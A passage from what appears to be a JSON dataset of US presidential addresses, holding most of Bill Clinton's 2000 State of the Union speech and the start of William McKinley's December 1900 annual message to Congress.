have\nhelped parents to succeed at work and at home--with family leave, which 20\nmillion Americans have used to care for a newborn child or a sick loved\none. We have engaged 150,000 young Americans in citizen service through\nAmeriCorps--while also helping them earn their way through college.In 1992, we had a roadmap. Today, we have results. More important, America\nagain has the confidence to dream big dreams. But we must not let our\nrenewed confidence grow into complacency. We will be judged by the dreams\nand deeds we pass on to our children. And on that score, we will be held to\na high standard, indeed. Because our chance to do good is so great.My fellow Americans, we have crossed the bridge we built to the 21st\nCentury. Now, we must shape a 21st-Century American revolution--of\nopportunity, responsibility, and community. We must be, as we were in the\nbeginning, a new nation.At the dawn of the last century, Theodore Roosevelt said, \"the one\ncharacteristic more essential than any other is foresight. . . It should be\nthe growing nation with a future which takes the long look ahead.\"Tonight let us take our look long ahead--and set great goals for our\nnation.To 21st Century America, let us pledge that:Every child will begin school ready to learn and graduate ready to succeed.\nEvery family will be able to succeed at home and at work--and no child\nwill be raised in poverty. We will meet the challenge of the aging of\nAmerica. We will assure quality, affordable healthcare for all Americans.\nWe will make America the safest big country on earth. We will bring\nprosperity to every American community. We will reverse the course of\nclimate change and leave a cleaner, safer planet. America will lead the\nworld toward shared peace and prosperity, and the far frontiers of science\nand technology. And we will become at last what our founders pledged us to\nbe so long ago--one nation, under God, indivisible, with liberty and\njustice for all.These are great goals, worthy of a great nation. We will not reach them all\nthis year. Not even in this decade. But we will reach them. Let us remember\nthat the first American revolution was not won with a single shot. The\ncontinent was not settled in a single year. The lesson of our history--and\nthe lesson of the last seven years--is that great goals are reached step\nby step: always building on our progress, always gaining ground.Of course, you can't gain ground if you're standing still. For too long\nthis Congress has been standing still on some of our most pressing national\npriorities. Let's begin with them.I ask you again to pass a real patient's bill of rights. Pass common-sense\ngun-safety legislation. Pass campaign finance reform. Vote on long overdue\njudicial nominations and other important appointees. And, again, I ask you\nto raise the minimum wage.Two years ago, as we reached our first balanced budget, I asked that we\nmeet our responsibility to the next generation by maintaining our fiscal\ndiscipline. Because we refused to stray from that path, we are doing\nsomething that would have seemed unimaginable seven years ago: We are\nactually paying down the national debt. If we stay on this path, we can pay\ndown the debt entirely in 13 years and make America debt-free for the first\ntime since Andrew Jackson was president in 1835.In 1993, we began to put our fiscal house in order with the Deficit\nReduction Act, winning passage in both houses by just one vote. Your former\ncolleague, my first Secretary of the Treasury, led that effort. He is here\ntonight. Lloyd Bentsen, you have served America well.Beyond paying off the debt, we must ensure that the benefits of debt\nreduction go to preserving two of the most important guarantees we make to\nevery American--Social Security and Medicare. I ask you tonight to work\nwith me to make a bipartisan down payment on Social Security reform by\ncrediting the interest savings from debt reduction to the Social Security\nTrust Fund to ensure that it is strong and sound for the next 50 years.But this is just the start of our journey. Now we must take the right steps\ntoward reaching our great goals.Opportunity and Responsibility in EducationFirst and foremost, we need a 21st Century revolution in education, guided\nby our faith that every child can learn. Because education is more than\never the key to our children's future, we must make sure all our children\nhave that key. That means quality preschool and afterschool, the best\ntrained teachers in every classroom, and college opportunities for all our\nchildren.For seven years, we have worked hard to improve our schools, with\nopportunity and responsibility: Investing more, but demanding more in\nreturn.Reading, math, and college entrance scores are up. And some of the most\nimpressive gains are in schools in poor neighborhoods.All successful schools have followed the same proven formula: higher\nstandards, more accountability, so all children can reach those standards.\nI have sent Congress a reform plan based on that formula. It holds states\nand school districts accountable for progress, and rewards them for\nresults. Each year, the national government invests more than $15 billion\nin our schools. It's time to support what works and stop supporting what\ndoesn't.As we demand more than ever from our schools, we should invest more than\never in our schools.Let's double our investment to help states and districts turn around their\nworst-performing schools--or shut them down.Let's double our investment in afterschool and summer school programs--\nboosting achievement, and keeping children off the street and out of\ntrouble. If we do, we can give every child in every failing school in\nAmerica the chance to meet high standards.Since 1993, we've nearly doubled our investment in Head Start and improved\nits quality. Tonight, I ask for another $1 billion to Head Start, the\nlargest increase in the program's history.We know that children learn best in smaller classes with good teachers. For\ntwo years in a row, Congress has supported my plan to hire 100,000 new,\nqualified teachers, to lower class sizes in the early grades. This year, I\nask you to make it three in a row.And to make sure all teachers know the subjects they teach, tonight I\npropose a new teacher quality initiative--to recruit more talented people\ninto the classroom, reward good teachers for staying there, and give all\nteachers the training they need.We know charter schools provide real public school choice. When I became\nPresident, there was just one independent public charter school in all\nAmerica. Today there are 1,700. I ask you to help us meet our goal of 3,000\nby next year.We know we must connect all our classrooms to the Internet. We're getting\nthere. In 1994, only three percent of our classrooms were connected. Today,\nwith the help of the Vice President's E-rate program, more than half of\nthem are; and 90 percent of our schools have at least one connection to the\nInternet.But we can't finish the job when a third of all schools are in serious\ndisrepair, many with walls and wires too old for the Internet. Tonight, I\npropose to help 5,000 schools a year make immediate, urgent repairs. And\nagain, to help build or modernize 6,000 schools, to get students out of\ntrailers and into high-tech classrooms.We should double our bipartisan GEAR UP program to mentor 1.4 million\ndisadvantaged young people for college. And let's offer these students a\nchance to take the same college test-prep courses wealthier students use to\nboost their test scores.To make the American Dream achievable for all, we must make college\naffordable for all. For seven years, on a bipartisan basis, we have taken\naction toward that goal: larger Pell grants, more-affordable student loans,\neducation IRAs, and our HOPE scholarships, which have already benefited 5\nmillion young people. 67 percent of high school graduates now go on to\ncollege, up almost 10 percent since 1993. Yet millions of families still\nstrain to pay college tuition. They need help.I propose a landmark $30-billion college opportunity tax cut--a\nmiddle-class tax deduction for up to $10,000 in college tuition costs.\nWe've already made two years of college affordable for all. Now let's make\nfour years of college affordable for all.If we take all these steps, we will move a long way toward making sure\nevery child starts school ready to learn and graduates ready to succeed.Rewarding Work and Strengthening FamiliesWe need a 21st Century revolution to reward work and strengthen families--\nby giving every parent the tools to succeed at work and at the most\nimportant work of all--raising their children. That means making sure that\nevery family has health care and the support to care for aging parents, the\ntools to bring their children up right, and that no child grows up in\npoverty.From my first days as President, we have worked to give families better\naccess to better health care. In 1997, we passed the Children's Health\nInsurance Program--CHIP--so that workers who don't have health care\ncoverage through their employers at least can get it for their children. So\nfar, we've enrolled 2 million children, and we're well on our way to our\ngoal of 5 million.But there are still more than 40 million Americans without health\ninsurance, more than there were in 1993. Tonight I propose that we follow\nVice President Gore's suggestion to make low income parents eligible for\nthe insurance that covers their kids. Together with our children's\ninitiative, we can cover nearly one quarter of the uninsured in America.Again, I ask you to let people between 55 and 65--the fastest growing\ngroup of uninsured--buy into Medicare. And let's give them a tax credit to\nmake that choice an affordable one.When the Baby Boomers retire, Medicare will be faced with caring for twice\nas many of our citizens--and yet it is far from ready to do so. My\ngeneration must not ask our children's generation to shoulder our burden.\nWe must strengthen and modernize Medicare now.My budget includes a comprehensive plan to reform Medicare, to make it more\nefficient and competitive. And it dedicates nearly $400 billion of our\nbudget surplus to keep Medicare solvent past 2025; and, at long last, to\ngive every senior a voluntary choice of affordable coverage for\nprescription drugs.Lifesaving drugs are an indispensable part of modern medicine. No one\ncreating a Medicare program today would even consider excluding coverage\nfor prescription drugs. Yet more than three in five seniors now lack\ndependable drug coverage which can lengthen and enrich their lives.\nMillions of older Americans who need prescription drugs the most pay the\nhighest prices for them.In good conscience, we cannot let another year pass without extending to\nall seniors the lifeline of affordable prescription drugs.Record numbers of Americans are providing for aging or ailing loved ones at\nhome. Last year, I proposed a $1,000 tax credit for long-term care.\nFrankly, that wasn't enough. This year, let's triple it to $3,000--and\nthis year, let's pass it.And we must make needed investments to expand access to mental health care.\nI want to thank the person who has led our efforts to break down the\nbarriers to the decent treatment of mental illness: Tipper Gore.Taken together, these proposals would mark the largest investment in health\ncare in the 35 years since the creation of Medicare--a big step toward\nassuring health care for all Americans, young and old.We must also make investments that reward work and support families.\nNothing does that better than the Earned Income Tax Credit, the EITC. The\n\"E\" in \"EITC\" is about earning; working; taking responsibility and being\nrewarded for it. In my first Address to you, I asked Congress to greatly\nexpand this tax credit; and you did. As a result, in 1998 alone, the EITC\nhelped more than 4.3 million Americans work their way out of poverty and\ntoward the middle class--double the number in 1993.Tonight, I propose another major expansion. We should reduce the marriage\npenalty for the EITC, making sure it rewards marriage just as it rewards\nwork. And we should expand the tax credit for families with more than two\nchildren to provide up to $1,100 more in tax relief.We can't reward work and family unless men and women get equal pay for\nequal work. The female unemployment rate is the lowest in 46 years. Yet\nwomen still earn only about 75 cents for every dollar men earn. We must do\nbetter by providing the resources to enforce present equal pay laws,\ntraining more women for high-paying, high-tech jobs, and passing the\nPaycheck Fairness Act.Two-thirds of new jobs are in the suburbs, far away from many low-income\nfamilies. In the past two years, I have proposed and Congress has approved\n110,000 new housing vouchers--rent subsidies to help working families live\ncloser to the workplace. This year, let us more than double that number. If\nwe want people to go to work, they have to be able to get to work.Many working parents spend up to a quarter of their income on child care.\nLast year, we helped parents provide child care for about two million\nchildren. My child care initiative, along with funds already secured in\nwelfare reform, would make child care better, safer, and more affordable\nfor another 400,000 children.For hard-pressed middle-income families, we should also expand the child\ncare tax credit. And we should take the next big step. We should make that\ntax credit refundable for low-income families. For those making under\n$30,000 a year, that could mean up to $2,400 for child-care costs. We all\nsay we're pro-work and pro-family. Passing this proposal would prove it.Tens of millions of Americans live from paycheck to paycheck. As hard as\nthey work, they still don't have the opportunity to save. Too few can make\nuse of IRAs and 401-K retirement plans. We should do more to help working\nfamilies save and accumulate wealth. That's the idea behind so-called\nIndividual Development Accounts. Let's take that idea to a new level, with\nRetirement Savings Accounts that enable every low- and moderate-income\nfamily in America to save for retirement, a first home, a medical\nemergency, or a college education. I propose to match their contributions,\nhowever small, dollar for dollar, every year they save. And to give a major\nnew tax credit for any small business that provides a meaningful pension to\nits workers.Nearly one in three American children grows up in a home without a father.\nThese children are five times more likely to live in poverty than children\nwith both parents at home. Clearly, demanding and supporting responsible\nfatherhood is critical to lifting all children out of poverty.We have doubled child support collections since 1992, and I am proposing\ntough new measures to hold still more fathers responsible. But we should\nrecognize that a lot of fathers want to do right by their children--and\nneed help to do it. Carlos Rosas of St. Paul, Minnesota, got that help. Now\nhe has a good job and he supports his son Ricardo. My budget will help\n40,000 fathers make the choices Carlos did. And I thank him for being\nhere.If there is any issue on which we can reach across party lines it is in our\ncommon commitment to reward work and strengthen families. Thanks to\noverwhelming bipartisan support from this Congress, we have improved foster\ncare, supported those who leave it when they turn eighteen, and\ndramatically increased the number of foster children going to adoptive\nhomes. I thank you for that. Of course, I am especially grateful to the\nperson who has led our efforts from the beginning, and who has worked\ntirelessly for children and families for thirty years now: my wife,\nHillary.If we take all these steps, we will move a long way toward empowering\nparents to succeed at home and at work and ensuring that no child is raised\nin poverty. We can make these vital investments in health care, education\nand support for working families--and still offer tax cuts to help pay for\ncollege, for retirement, to care for aging parents and reduce the marriage\npenalty--without forsaking the path of fiscal discipline that got us here.\nIndeed, we must make these investments and tax cuts in the context of a\nbalanced budget that strengthens and extends the life of Social Security\nand Medicare and pays down the national debt.Responsibility and CrimeCrime in America has dropped for the past seven years--the longest decline\non record, thanks to a national consensus we helped to forge on community\npolice, sensible gun safety laws, and effective prevention. But nobody\nbelieves America is safe enough. So let's set a higher goal: let's make\nAmerica the safest big country in the world.Last fall, Congress supported my plan to hire--in addition to the 100,000\ncommunity police we have already funded--50,000 more, concentrated in\nhigh-crime neighborhoods. I ask your continued support.Soon after the Columbine tragedy, Congress considered common-sense gun\nsafety legislation to require Brady background checks at gun shows, child\nsafety locks for all new handguns, and a ban on the importation of\nlarge-capacity ammunition clips. With courage--and a tie-breaking vote by\nthe Vice President--the Senate faced down the gun lobby, stood up for the\nAmerican people, and passed this legislation. But the House failed to\nfollow suit.We've all seen what happens when guns fall into the wrong hands. Daniel\nMauser was only 15 years old when he was gunned down at Columbine. He was\nan amazing kid, a straight-A student, a good skier. Like all parents who\nlose their children, his father Tom has borne unimaginable grief. Somehow\nTom has found the strength to honor his son by transforming his grief into\naction. Earlier this month, he took a leave of absence from his job to\nfight for tougher gun safety laws. I pray that his courage and wisdom will\nmove this Congress to make common-sense gun safety legislation the very\nnext order of business. Tom, thank you for being here tonight.We must strengthen gun laws and better enforce laws already on the books.\nFederal gun crime prosecutions are up 16 percent since I took office. But\nagain, we must do more. I propose to hire more federal and local gun\nprosecutors, and more ATF agents to crack down on illegal gun traffickers\nand bad-apple dealers. And we must give law enforcement the tools to trace\nevery gun--and every bullet--used in a crime in America.Listen to this: the accidental gun death rate of children under 15 in the\nUnited States is nine times higher than in the other 25 industrialized\nnations--combined. Technologies now exist that could lead to guns that can\nonly be fired by the adults who own them. I ask Congress to fund research\nin Smart Gun technology. I also call on responsible leaders in the gun\nindustry to work with us on smart guns and other steps to keep guns out of\nthe wrong hands and keep our children safe.Every parent I know worries about the impact of violence in the media on\ntheir children. I thank the entertainment industry for accepting my\nchallenge to put voluntary ratings on TV programs and video and Internet\ngames. But the ratings are too numerous, diverse, and confusing to be\nreally useful to parents. Therefore, I now ask the industry to accept the\nFirst Lady's challenge--to develop a single, voluntary rating system for\nall children's entertainment, one that is easier for parents to understand\nand enforce.If we take all these steps, we will be well on our way to making America\nthe safest big country in the world.Opening New MarketsTo keep our historic economic expansion going, we need a 21st Century\nrevolution to open new markets, start new businesses, and hire new workers\nright here in America--in our inner cities, poor rural areas, and on\nIndian reservations.Our nation's prosperity has not yet reached these places. Over the last six\nmonths, I have traveled to many of them--joined by many of you, and many\nfar-sighted business people--to shine a spotlight on the enormous\npotential in communities from Appalachia to the Mississippi Delta, from\nWatts to the Pine Ridge Indian Reservation. Everywhere I've gone, I've met\ntalented people eager for opportunity, and able to work. Let's put them to\nwork.For business, it's the smart thing to do. For America, it's the right thing\nto do. And if we don't do it now, when will we ever get around to it?I ask Congress to give businesses the same incentives to invest in\nAmerica's new markets that they now have to invest in foreign markets.\nTonight, I propose a large New Markets Tax Credit and other incentives to\nspur $22 billion in private-sector capital--to create new businesses and\nnew investments in inner cities and rural areas.Empowerment Zones have been creating these opportunities for five years\nnow. We should also increase incentives to invest in them and create more\nof them.This is not a Democratic or a Republican issue. It is an American issue.\nMr. Speaker, it was a powerful moment last November when you joined me and\nthe Reverend Jesse Jackson in your home state of Illinois, and committed to\nworking toward our common goal, by combining the best ideas from both sides\nof the aisle. Mr. Speaker, I look forward to working with you.We must maintain our commitment to community development banks and keep the\ncommunity reinvestment act strong so all Americans have access to the\ncapital they need to buy homes and build businesses.We need to make special efforts to address the areas with the highest rates\nof poverty. My budget includes a special $110 million initiative to promote\neconomic development in the Mississippi Delta; and $1 billion to increase\neconomic opportunity, health care, education and law enforcement for Native\nAmerican communities. In this new century, we should honor our historic\nresponsibility to empower the first Americans. I thank leaders and members\nfrom both parties who have already expressed an interest in working with us\non these efforts.There's another part of our American community in trouble today--our\nfamily farmers. When I signed the Farm Bill in 1996, I said there was a\ngreat danger it would work well in good times but not in bad. Well,\ndroughts, floods, and historically low prices have made times very bad for\nour farmers. We must work together to strengthen the farm safety net,\ninvest in land conservation, and create new markets by expanding our\nprogram for bio-based fuels and products.Today, opportunity for all requires something new: having access to a\ncomputer and knowing how to use it. That means we must close the digital\ndivide between those who have these tools and those who don't.Connecting classrooms and libraries to the Internet is crucial, but it's\njust a start. My budget ensures that all new teachers are trained to teach\n21st Century skills and creates technology centers in 1,000 communities to\nserve adults. This spring, I will invite high-tech leaders to join me on\nanother New Markets tour--to close the digital divide and open opportunity\nfor all our people. I thank the high-tech companies that are already doing\nso much in this area--and I hope the new tax incentives I have proposed\nwill encourage others to join us.If we take these steps, we will go a long way toward our goal of bringing\nopportunity to every community.Global Change and American LeadershipTo realize the full possibilities of the new economy, we must reach beyond\nour own borders, to shape the revolution that is tearing down barriers and\nbuilding new networks among nations and individuals, economies and\ncultures: globalization.It is the central reality of our time. Change this profound is both\nliberating and threatening. But there is no turning back. And our open,\ncreative society stands to benefit more than any other--if we understand,\nand act on, the new realities of interdependence. We must be at the center\nof every vital global network, as a good neighbor and partner. We cannot\nbuild our future without helping others to build theirs.First, we must forge a new consensus on trade. Those of us who believe\npassionately in the power of open trade must ensure that it lifts both our\nliving standards and our values, never tolerating abusive child labor or a\nrace to the bottom on the environment and worker protection. Still, open\nmarkets and rules-based trade are the best engines we know for raising\nliving standards, reducing global poverty and environmental destruction,\nand assuring the free flow of ideas. There is only one direction for\nAmerica on trade: we must go forward.And we must make developing economies our partners in prosperity--which is\nwhy I ask Congress to finalize our groundbreaking African and Caribbean\nBasin trade initiatives.Globalization is about more than economics. Our purpose must be to bring\nthe world together around democracy, freedom, and peace, and to oppose\nthose who would tear it apart.Here are the fundamental challenges I believe America must meet to shape\nthe 21st Century world.First, we must continue to encourage our former adversaries, Russia and\nChina, to emerge as stable, prosperous, democratic nations. Both are being\nheld back from reaching their full potential: Russia by the legacy of\ncommunism, economic turmoil, a cruel and self-defeating war in Chechnya;\nChina by the illusion that it can buy stability at the expense of freedom.\nBut think how much has changed in the past decade: thousands of former\nSoviet nuclear weapons eliminated; Russian soldiers serving with ours in\nthe Balkans; Russian people electing their leaders for the first time in a\nthousand years. And in China, an economy more open to the world than ever\nbefore. No one can know for sure what direction these great countries will\nchoose. But we must do everything in our power to increase the chance they\nwill choose wisely, to be constructive members of the global community.That is why we must support those Russians struggling for a democratic,\nprosperous future; continue to reduce both our nuclear arsenals; and help\nRussia safeguard weapons and materials that remain.That is why Congress should support the agreement we negotiated to bring\nChina into the WTO, by passing Permanent Normal Trade Relations as soon as\npossible this year. Our markets are already open to China. This agreement\nwill open China's markets to us. And it will advance the cause of peace in\nAsia and promote the cause of change in China.A second challenge is to protect our security from conflicts that pose the\nrisk of wider war and threaten our common humanity. America cannot prevent\nevery conflict or stop every outrage. But where our interests are at stake\nand we can make a difference, we must be peacemakers.We should be proud of America's role in bringing the Middle East closer\nthan ever to a comprehensive peace; building peace in Northern Ireland;\nworking for peace in East Timor and Africa; promoting reconciliation\nbetween Greece and Turkey and in Cyprus; working to defuse crises between\nIndia and Pakistan; defending human rights and religious freedom.And we should be proud of the men and women of our armed forces and those\nof our allies who stopped the ethnic cleansing in Kosovo--enabling a\nmillion innocent people to return to their homes.When Slobodan Milosevic unleashed his terror on Kosovo, Captain John\nCherrey was one of the brave airmen who turned the tide. And when another\nAmerican plane went down over Serbia, he flew into the teeth of enemy air\ndefenses to bring his fellow pilot home. Thanks to our armed forces' skill\nand bravery, we prevailed without losing a single American in combat.\nCaptain Cherrey, we honor you, and promise to finish the job you began.A third challenge is to keep the inexorable march of technology from giving\nterrorists and potentially hostile nations the means to undermine our\ndefenses. The same advances that have shrunk cell phones to fit in the\npalms of our hands can also make weapons of terror easier to conceal and\neasier to use.We must meet this threat: by making effective agreements to restrain\nnuclear and missile programs in North Korea, curbing the flow of lethal\ntechnology to Iran; preventing Iraq from threatening its neighbors;\nincreasing our preparedness against chemical and biological attack;\nprotecting our vital computer systems from hackers and criminals; and\ndeveloping a system to defend against new missile threats--while working\nto preserve our Anti-Ballistic Missile Treaty with Russia.I hope we can have a constructive bipartisan dialogue this year to build a\nconsensus which will lead eventually to the ratification of the\nComprehensive Nuclear Test Ban Treaty.A fourth challenge is to ensure that the stability of our planet is not\nthreatened by the huge gulf between rich and poor. We cannot accept a world\nin which part of humanity lives on the cutting edge of a new economy, while\nthe rest live on the bare edge of survival. We must do our part, with\nexpanded trade, expanded aid, and the expansion of freedom.From Nigeria to Indonesia, more people won the right to choose their\nleaders in 1999 than in 1989, the year the Berlin Wall fell. We must stand\nby democracies--like Colombia, fighting narco-traffickers for its people's\nlives, and our children's lives. I have proposed a strong two-year package\nto help Colombia win this fight; and I ask for your support. And I will\npropose tough new legislation to go after what drug barons value most--\ntheir money.In a world where 1.2 billion people live on less than a dollar a day, we\nmust do our part in the global endeavor to reduce the debts of the poorest\ncountries so they can invest in education, health and economic growth--as\nthe Pope and other religious leaders have urged. Last year, Congress made a\ndown payment on America's share. And I ask for your continued support.And America must help more nations break the bonds of disease. Last year in\nAfrica, AIDS killed ten times as many people as war did. My budget invests\n$150 million more in the fight against this and other infectious killers.\nToday, I propose a tax credit to speed the development of vaccines for\ndiseases like malaria, TB and AIDS. I ask the private sector and our\npartners around the world to join us in embracing this cause. Together, we\ncan save millions of lives.Our final challenge is the most important: to pass a national security\nbudget that keeps our military the best trained and best equipped in the\nworld, with heightened readiness and 21st Century weapons; raises salaries\nfor our service men and women; protects our veterans; fully funds the\ndiplomacy that keeps our soldiers out of war; and makes good on our\ncommitment to pay our UN dues and arrears. I ask you to pass this budget\nand I thank you for the extraordinary support you have given--Republicans\nand Democrats alike--to our men and women in uniform. I especially want to\nthank Secretary Cohen for symbolizing our bipartisan commitment to our\nnational security--and Janet Cohen, I thank you for tirelessly traveling\nthe world to show our support for the troops.If we meet all these challenges, America can lead the world toward peace\nand freedom in an era of globalization.Responsibility, Opportunity, and the EnvironmentI am grateful for the opportunities the Vice President and I have had to\nwork hard to protect the environment and finally to put to rest the notion\nthat you can't expand the economy while protecting the environment. As our\neconomy has grown, we have rid more than 500 neighborhoods of toxic waste\nand ensured cleaner air and water for millions of families. In the past\nthree months alone, we have acted to preserve more than 40 million acres of\nroadless lands in our National Forests and created three new National\nMonuments.But as our communities grow, our commitment to conservation must grow as\nwell. Tonight, I propose creating a permanent conservation fund to restore\nwildlife, protect coastlines, and save natural treasures from California\nredwoods to the Everglades. This Lands Legacy endowment represents by far\nthe most enduring investment in land preservation ever proposed.Last year, the Vice President launched a new effort to help make\ncommunities more livable--so children will grow up next to parks, not\nparking lots, and parents can be home with their children instead of stuck\nin traffic. Tonight, we propose new funding for advanced transit systems--\nfor saving precious open spaces--for helping major cities around the Great\nLakes protect their waterways and enhance their quality of life.The greatest environmental challenge of the new century is global warming.\nScientists tell us that the 1990s were the hottest decade of the entire\nmillennium. If we fail to reduce emissions of greenhouse gases, deadly heat\nwaves and droughts will become more frequent, coastal areas will be\nflooded, economies disrupted.Many people in the United States and around the world still believe we\ncan't cut greenhouse gas pollution without slowing economic growth. In the\nIndustrial Age that may have been true. In the digital economy, it isn't.\nNew technologies make it possible to cut harmful emissions and provide even\nmore growth. For example, just last week, automakers unveiled cars that get\n70 to 80 miles a gallon--the fruits of a unique research partnership\nbetween government and industry. Before you know it, efficient production\nof biofuels will give us the equivalent of hundreds of miles from a gallon\nof gas.To speed innovations in environmental technologies, I propose giving major\ntax incentives to businesses for the production of clean energy--and to\nfamilies for buying energy-saving homes and appliances and the next\ngeneration of super-efficient cars when they hit the showroom floor. I also\ncall on the auto industry to use available technologies to make all new\ncars more fuel efficient right away. And on Congress to make more of our\nclean-energy technologies available to the developing world--creating\ncleaner growth abroad and new jobs at home.The Opportunity and Responsibility of Science and TechnologyIn the new century, innovations in science and technology will be the key\nnot only to the health of the environment but to miraculous improvements in\nthe quality of our lives and advances in the economy.Later this year, researchers will complete the first draft of the entire\nhuman genome--the very blueprint of life. It is important for all\nAmericans to recognize that your tax dollars have fueled this research--\nand that this and other wise investments in science are leading to a\nrevolution in our ability to detect, treat, and prevent disease.For example, researchers have identified genes that cause Parkinson's\nDisease, diabetes, and certain types of cancer--and they are designing\nprecision therapies that will block the harmful effects of these faulty\ngenes for good. Researchers are already using this new technique to target\nand destroy cells that cause breast cancer. Soon, we may be able to use it\nto prevent the onset of Alzheimer's Disease. Scientists are also working on\nan artificial retina to help many blind people to see and microchips that\nwould directly stimulate damaged spinal cords and allow people who are now\nparalyzed to stand up and walk.Science and engineering innovations are also propelling our remarkable\nprosperity. Information technology alone now accounts for a third of our\neconomic growth, with jobs that pay almost 80 percent above the private\nsector average. Again, we should keep in mind: government-funded research\nbrought supercomputers, the Internet, and communications satellites into\nbeing. Soon researchers will bring us devices that can translate foreign\nlanguages as fast as you can speak; materials 10 times stronger than steel\nat a fraction of the weight; and molecular computers the size of a teardrop\nwith the power of today's fastest supercomputers.To accelerate the march of discovery across all disciplines of science and\ntechnology, my budget includes an unprecedented $3 billion increase in the\n21st Century Research Fund, the largest increase in civilian research in a\ngeneration.These new breakthroughs must be used in ways that reflect our most\ncherished values. First and foremost, we must safeguard our citizens'\nprivacy. Last year, we proposed rules to protect every citizen's medical\nrecords. This year, we will finalize those rules. We have also taken the\nfirst steps to protect the privacy of bank and credit card statements and\nother financial records. Soon I will send legislation to the Congress to\nfinish that job. We must also act to prevent any genetic discrimination by\nemployers or insurers.These steps will allow America to lead toward the far frontiers of science\nand technology--enhancing our health, environment, and economy in ways we\ncannot even imagine today.CommunityAt a time when science, technology and the forces of globalization are\nbringing so many changes into our lives, it is more important than ever\nthat we strengthen the bonds that root us in our local communities and in\nour national communities.No tie binds different people together like citizen service. There is a new\nspirit of service in America--a movement we have supported with\nAmeriCorps, an expanded Peace Corps, and unprecedented new partnerships\nwith businesses, foundations, and community groups. Partnerships to enlist\n12,000 companies in moving 650,000 of our fellow citizens from welfare to\nwork. To battle drug abuse and AIDS. To teach young people to read. To Save\nAmerica's Treasures. To strengthen the arts. To fight teen pregnancy. To\nprevent youth violence. To promote racial healing.We can do even more to help Americans help each other. We should help\nfaith-based organizations do more to fight poverty and drug abuse and help\nyoung people get back on the right track with initiatives like Second\nChance Homes to help unwed teen mothers. We should support Americans who\ntithe and contribute to charities, but don't earn enough to claim a tax\ndeduction for it. Tonight, I propose new tax incentives to allow low- and\nmiddle-income citizens to get that deduction.We should do more to help new immigrants fully participate in the American\ncommunity--investing more to teach them civics and English. And since\neveryone in our community counts, we must make sure everyone is counted in\nthis year's census.Within ten years there will be no majority race in our largest state,\nCalifornia. In a little more than 50 years, there will be no majority race\nin America. In a more interconnected world, this diversity can be our\ngreatest strength. Just look around this chamber. We have members from\nvirtually every racial, ethnic, and religious background. And America is\nstronger for it. But as we have seen, these differences all too often spark\nhatred and division, even here at home.We have seen a man dragged to death in Texas simply because he was black. A\nyoung man murdered in Wyoming simply because he was gay. In the last year\nalone, we've seen the shootings of African Americans, Asian Americans, and\nJewish children simply because of who they were. This is not the American\nway. We must draw the line. Without delay, we must pass the Hate Crimes\nPrevention Act and the Employment Non-Discrimination Act. And we should\nreauthorize the Violence Against Women Act.No American should be subjected to discrimination in finding a home,\ngetting a job, going to school, or securing a loan. Tonight, I propose the\nlargest ever investment to enforce America's civil rights laws. Protections\nin law must be protections in fact.Last February, I created the White House Office of One America to promote\nracial reconciliation. That's what Hank Aaron, has done all his life. From\nhis days as baseball's all-time homerun king to his recent acts of healing,\nhe has always brought Americans together. We're pleased he's with us\ntonight.This fall, at the White House, one of America's leading scientists said\nsomething we should all remember. He said all human beings, genetically,\nare 99.9 percent the same. So modern science affirms what ancient faith has\nalways taught: the most important fact of life is our common humanity.Therefore, we must do more than tolerate diversity--we must honor it and\ncelebrate it.My fellow Americans, each time I prepare for the State of the Union, I\napproach it with great hope and expectations for our nation. But tonight is\nspecial--because we stand on the mountaintop of a new millennium. Behind\nus we see the great expanse of American achievement; before us, even\ngrander frontiers of possibility.We should be filled with gratitude and humility for our prosperity and\nprogress; with awe and joy at what lies ahead; and with absolute\ndetermination to make the most of it.When the framers finished crafting our Constitution, Benjamin Franklin\nstood in Independence Hall and reflected on a painting of the sun, low on\nthe horizon. He said, \"I have often wondered whether that sun was rising or\nsetting. Today,\" Franklin said, \"I have the happiness to know it is a\nrising sun.\" Well, today, because each generation of Americans has kept the\nfire of freedom burning brightly, lighting those frontiers of possibility,\nwe still bask in the warmth of Mr. Franklin's rising sun.After 224 years, the American Revolution continues. We remain a new nation.\nAs long as our dreams outweigh our memories, America will be forever young.\nThat is our destiny. And this is our moment.Thank you, God bless you, and God bless America.", 
+    "name": "William J. Clinton"
+}
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+{
+    "date": "December 3, 1900", 
+    "speech": "To the Senate and House of Representatives:At the outgoing of the old and the incoming of the new century you begin\nthe last session of the Fifty-sixth Congress with evidences on every hand\nof individual and national prosperity and with proof of the growing\nstrength and increasing power for good of Republican institutions. Your\ncountrymen will join with you in felicitation that American liberty is more\nfirmly established than ever before, and that love for it and the\ndetermination to preserve it are more universal than at any former period\nof our history.The Republic was never so strong, because never so strongly entrenched in\nthe hearts of the people as now. The Constitution, with few amendments,\nexists as it left the hands of its authors. The additions which have been\nmade to it proclaim larger freedom and more extended citizenship. Popular\ngovernment has demonstrated in its one hundred and twenty-four years of\ntrial here its stability and security, and its efficiency as the best\ninstrument of national development and the best safeguard to human rights.When the Sixth Congress assembled in November, 1800, the population of the\nUnited States was 5,308,483. It is now 76,304,799. Then we had sixteen\nStates. Now we have forty-five. Then our territory consisted Of 909,050\nsquare miles. It is now 3,846,595 square miles. Education, religion, and\nmorality have kept pace with our advancement in other directions, and while\nextending its power the Government has adhered to its foundation principles\nand abated none of them in dealing with our new peoples and possessions. A\nnation so preserved and blessed gives reverent thanks to God and invokes\nHis guidance and the continuance of His care and favor.In our foreign intercourse the dominant question has been the treatment of\nthe Chinese problem. Apart from this our relations with the powers have\nbeen happy.The recent troubles in China spring from the antiforeign agitation which\nfor the past three years has gained strength in the northern provinces.\nTheir origin lies deep in the character of the Chinese races and in the\ntraditions of their Government. The Taiping rebellion and the opening of\nChinese ports to foreign trade and settlement disturbed alike the\nhomogeneity and the seclusion of China.Meanwhile foreign activity made itself felt in all quarters, not alone on\nthe coast, but along the great river arteries and in the remoter districts,\ncarrying new ideas and introducing new associations among a primitive\npeople which had pursued for centuries a national policy of isolation.The telegraph and the railway spreading over their land, the steamers\nplying on their waterways, the merchant and the missionary penetrating year\nby year farther to the interior, became to the Chinese mind types of an\nalien invasion, changing the course of their national life and fraught with\nvague forebodings of disaster to their beliefs and their self-control.For several years before the present troubles all the resources of foreign\ndiplomacy, backed by moral demonstrations of the physical force of fleets\nand arms, have been needed to secure due respect for the treaty rights of\nforeigners and to obtain satisfaction from the responsible authorities for\nthe sporadic outrages upon the persons and property of unoffending\nsojourners, which from time to time occurred at widely separated points in\nthe northern provinces, as in the case of the outbreaks in Sze-chuen and\nShan-tung.Posting of antiforeign placards became a daily occurrence, which the\nrepeated reprobation of the Imperial power failed to check or punish. These\ninflammatory appeals to the ignorance and superstition of the masses,\nmendacious and absurd 